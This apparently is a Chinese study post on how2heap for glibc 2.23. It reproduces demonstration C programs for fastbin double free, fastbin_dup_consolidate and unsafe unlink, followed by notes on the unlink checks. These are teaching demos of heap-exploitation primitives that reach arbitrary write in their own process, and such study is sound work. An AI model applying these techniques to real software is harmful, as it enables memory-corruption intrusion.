深入理解how2heap_2.23

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
    fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.n");

    fprintf(stderr, "Allocating 3 buffers.n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %pn", a);
    fprintf(stderr, "2nd malloc(8): %pn", b);
    fprintf(stderr, "3rd malloc(8): %pn", c);

    fprintf(stderr, "Freeing the first one...n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!n", a, b, a, a);
    a = malloc(8);
    b = malloc(8);
    c = malloc(8);
    fprintf(stderr, "1st malloc(8): %pn", a);
    fprintf(stderr, "2nd malloc(8): %pn", b);
    fprintf(stderr, "3rd malloc(8): %pn", c);

    assert(a == c);
}

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {
    // reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
    puts("This is a powerful technique that bypasses the double free check in tcachebin.");
    printf("Fill up the tcache list to force the fastbin usage...n");

    void* p1 = calloc(1,0x40);

    printf("Allocate another chunk of the same size p1=%p n", p1);
    printf("Freeing p1 will add this chunk to the fastbin list...nn");
    free(p1);

    void* p3 = malloc(0x400);
    printf("Allocating a tcache-sized chunk (p3=%p)n", p3);
    printf("will trigger the malloc_consolidate and mergen");
    printf("the fastbin chunks into the top chunk, thusn");
    printf("p1 and p3 are now pointing to the same chunk !nn");

    assert(p1 == p3);

    printf("Triggering the double free vulnerability!nn");
    free(p1);

    void *p4 = malloc(0x400);

    assert(p4 == p3);

    printf("The double free added the chunk referenced by p1 n");
    printf("to the tcache thus the next similar-size malloc willn");
    printf("point to p3: p3=%p, p4=%pnn",p3, p4);
}

使用ubuntu:16.04编译并使用pwncli改写rpath。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
    setbuf(stdout, NULL);
    printf("Welcome to unsafe unlink 2.0!n");
    printf("Tested in Ubuntu 14.04/16.04 64bit.n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.nn");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %pn", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %pnn", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.n");
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == Falsen");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %pn",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %pnn",(void*) chunk0_ptr[3]);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordinglyn");
    chunk1_hdr[0] = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %pn",(void*)chunk1_hdr[0]);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.nn");
    chunk1_hdr[1] &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344nn");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.n");
    printf("Original value: %sn",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %sn",victim_string);

    // sanity check
    assert(*(long *)victim_string == 0x4141414142424242L);
}

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
 
int main(){
    int malloc_size = 0x80;
    uint64_t* ptr0 = (uint64_t*)malloc(malloc_size);
    uint64_t* ptr1 = (uint64_t*)malloc(malloc_size);
    ptr0[2] = (uint64_t)&ptr0 - 3*sizeof(uint64_t);
    ptr0[3] = (uint64_t)&ptr0 - 2*sizeof(uint64_t);
 
    uint64_t* ptr1_head = (uint64_t)ptr1 - 2*sizeof(uint64_t);
    ptr1_head[0] = malloc_size;
    ptr1_head[1] &= ~1;
    free(ptr1);
    char victim[10] = "hello";
    ptr0[3]=(uint64_t)victim;
    ptr0[0] = 0x4141414141;
    printf("%sn",victim);
    return 0;
 
}

使用ubuntu:16.04编译并使用第一个源码pwncli改写rpath。

1，首先找到要进行unlink的chunk(这里记为P)的前后堆块，
   FD = P->fd, BK = P->bk。
2，进行安全检查，glibc2.23的潦草判断条件如下
   FD->bk == P, BK->fd == P。
3，然后执行FD->bk=BK, BK->fd=FD。
4，当某个non-fast大小的chunk被释放时，就会根据PREV_INUSE位检查其前后堆块是否处于释放状态，如果是就会将前面或后面的堆块取出并与当前堆块合并。取出前面或后面的堆块P的过程就是unlink。